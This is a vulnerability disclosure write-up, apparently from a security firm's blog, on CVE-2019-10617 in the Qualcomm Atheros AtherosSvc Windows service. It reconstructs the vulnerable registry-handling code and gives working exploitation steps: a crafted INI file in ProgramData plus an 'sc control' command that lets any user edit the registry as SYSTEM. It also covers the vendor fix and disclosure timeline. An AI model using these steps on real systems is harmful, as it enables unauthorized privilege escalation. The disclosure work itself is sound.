Back

CVE-2019-10617 – AtherosSvc Registry LPE

Discovery

In DbgView one day, I noticed repeated noisy output from a particular process. The pestering output bothered me enough to do some investigating. The offender was C:\Windows\System32\Drivers\AdminService.exe, the binary backing the AtherosSvc Windows service. This is installed as part of the Qualcomn Atheros wireless/bluetooth chip set drivers (QCA61x4 in my case). I began reversing the binary to track down the verbosity and look for security issues while I was at it.

While there were no symbols for the binary, the authors had kindly included so many debug print statements that contextualizing the logic was rather easy. The majority of it’s code was fairly boilerplate for a Windows service and included some threading, hardware management, and registry management. Initially, I just went hunting for any uses of useful WinAPIs (file management, ACL modification, process handling, token duplication, etc). This led me to an interesting function which appears to perform arbitrary registry work using some INI file contents. It looked something like this:

LPWSTR ini_path[520];
SHGetSpecialFolderPathW(0, &ini_path, 35, 0); // %ProgramData%
wcscpy_s(&ini_path, 260, L"\\Atheros\\AtherosServiceConfig.ini");

LPSTR str_op_type[2];
LPSTR reg_path[260];
GetPrivateProfileStringW(L"AthService", L"regOpType", 0, str_op_type, 2, &ini_path);
GetPrivateProfileStringW(L"AthService", L"regPath", 0, reg_path, 260, &ini_path);

DWORD op_type = convert_to_int(str_op_type);
DWORD top_key = get_top_key_from_path(reg_path);

HANDLE hKey, hSubKey;

if (op_type == 1)
{
    LPSTR reg_value[260];
    GetPrivateProfileStringW(L"AthService", L"regValue", 0, reg_value, 260, &ini_path);
    
    // Delete registry value

} 
else if (op_type == 2)
{
    
    LPSTR reg_value[260];
    LPSTR reg_data[260];
    GetPrivateProfileStringW(L"AthService", L"regValue", 0, reg_value, 260, &ini_path);
    GetPrivateProfileStringW(L"AthService", L"regData", 0, reg_data, 260, &ini_path);

    LPSTR str_reg_type[2];
    GetPrivateProfileStringW(L"AthService", L"regType", 0, str_reg_type, 2, &ini_path);
    DWORD reg_type = convert_to_int(convert_to_int);

    // Create reg value

} 
else if (op_type == 3)
{
    // Delete registry key
}

A quick check on my host showed that, for some reason, C:\ProgramData\Atheros did not exist. ProgramData is writable by any user, so our primitive was looking good. The next challenge was triggering this block of code on demand. I traced back references to the registry function to find a looping ThreadProc function which implemented most of the actual logic for the app.

DWORD ThreadProc(PVOID param){
    MSG msg;

    while (true) {
        GetMessageW(&msg, 0i64, 0, 0);

        switch (msg){
            // ...

            case 0x5E62:
                OutputDebugStringW(L"Enter case CUSTOM_THREAD_EVENT_REG_MODIFY!\n");
                do_unsafe_registry_work();
                SetEvent(g_RegEvent);
                break;
        }
    }
}

If we continue following this thread, we discover this thread message code is posted when a specific custom control code is delivered to the service.

DWORD Handler(DWORD dwControl, ...)
{
    switch (dwControl){
        // ...

        case 133:
            ResetEvent(g_RegEvent);
            PostThreadMessageW(dwThread, 0x5E62u, 0, 0);
            WaitForSingleObject(g_RegEvent, 20000);
            break;
    }
}

*facepalm*, It really is as easy as that. I’m not sure why this code flow exists, and even more unsure why that directory and INI file are never created.

Exploitation

1 – Create C:\ProgramData\Atheros\AtherosServiceConfig.ini and set it’s contents to:

[AthService]
regOpType=3
regPath=HKEY_LOCAL_MACHINE\Software
regValue=RuhRoh
regType=1
regData=ThisAintGood

2 – Send the control code to the service

sc control AhterosSvc 133

It’s trivial to stretch full registry control as SYSTEM into privileged code execution, but I’ll leave that as an exercise for the reader.

The Fix

In response to this, it appears Qualcomm have simply removed the registry modification code completely. The ThreadProc case now looks something like this:

while (true) {
    GetMessageW(&msg, 0i64, 0, 0);

    switch (msg){
        // ...

        case 0x5E62:
            OutputDebugStringW(L"Enter case CUSTOM_THREAD_EVENT_REG_MODIFY!\n");
            // do_unsafe_registry_work();
            break;
    }
}

Funny enough they left the custom control code (133) hooked up to PostThreadMessage resulting in a useless 20 second wait for g_RegEvent to be reset. Suppose this could be a simple indicator to check for a vulnerable host.

Here are the details for the fixed version (for me anyways):

%SystemRoot%\System32\drivers\AdminService.exe

Version: 10.0.10011.16384
Modified: 08/08/2019
SHA1: 0d21b5fa49ab62b6e8fea82e1da3980092b95c70

Timeline

[9/12/19] – Delivered initial report to product-security@qualcomm.com
[9/12/19] – Received initial ticket creation receipt (QPSIIR-1287)
[9/26/19] – Received notice that this issue was reported in April and was a duplicate report. The original reporter was @DownWithUpSec, and you can find his write-up of the vulnerability here.
[10/07/19] – CVE-2019-10617 is published in the October 19 Security Bulletin

Discover how the NetSPI BAS solution helps organizations validate the efficacy of existing security controls and understand their Security Posture and Readiness.

X